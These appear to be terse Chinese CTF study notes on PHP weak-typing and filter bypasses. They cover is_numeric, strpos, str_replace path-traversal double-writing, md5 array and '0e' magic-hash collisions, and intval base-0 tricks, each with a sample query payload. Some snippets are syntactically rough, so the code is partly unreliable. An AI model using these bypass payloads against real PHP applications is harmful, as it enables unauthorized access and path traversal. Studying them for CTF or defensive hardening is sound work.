php中不区分大小写
php is_numeric()绕过 [判断是否为数字或数字字符串]
用url编码中的空字符%00或%20进行绕过
strpos(find,found,offset查询位置)查询函数 有返回<0,max>,无返回false 我们可以利用换行绕过(%0a)
$i='666'; $ii=$_GET['n']; if(strpos($i,$ii,offset:'0')){ echo $flag; }//?n=%0a666
preg_replace("$$a",'$b',$c);从c中找到a并把a替换为b 一般会用双写绕过和大小写
$dir=str_replace(array('../','./'),' ',$_GET['dir']); //将../和 ./都过滤掉,可双写为....// ..//
md5($$a)===md5($b) $a!=$b NULL===NULL a=name[],b=password[] md5(array)->null
MD5(‘QNKCDZO’)=0e8304004519 MD5(‘240610708’)=0e4620074319
intval(var:,base:)强制转换为整数(base:0时会检测var格式以0开头转换为8进制,包含0x用16进制,否则用10进制)
$i='666'; $ii=$_GET['n']; if(intval(var:$ii==$i,base:0)){ echo $flag; }//传入?n=0x29a(666的十六进制)
$whitelist=[1,2,3]; $page=$_GET['i']; if(in_array($page,$whitelist)){ echo 'yes'; }//?i=1白名单形式
if(isset($_GET['n'])){ $num=$_GET['n']; if(preg_match("/[0-9]/",$num)){ die("no no no !"); } if(intval($n,0)){//第二个参数是转换为几进制,如果为零则按照第一个参数进行输出 //有intval()可传入小数 echo $flag; } }//i是严格匹配大小写,m是换行匹配
highlight_file(_FILE): if(isset($_GET['num'])){ $num=$_GET['num']; if($num==="4476"){ die("nonono!"); } if (preg_match("/[a-z]/i",$num)){ die("nono no!"): } if(strpos($num,0)){ die("nono no!"): } if (intval($num,'0')===4476)( echo $flag; }//?num=4476.0 ?num=%204476 空格换行,正则没有m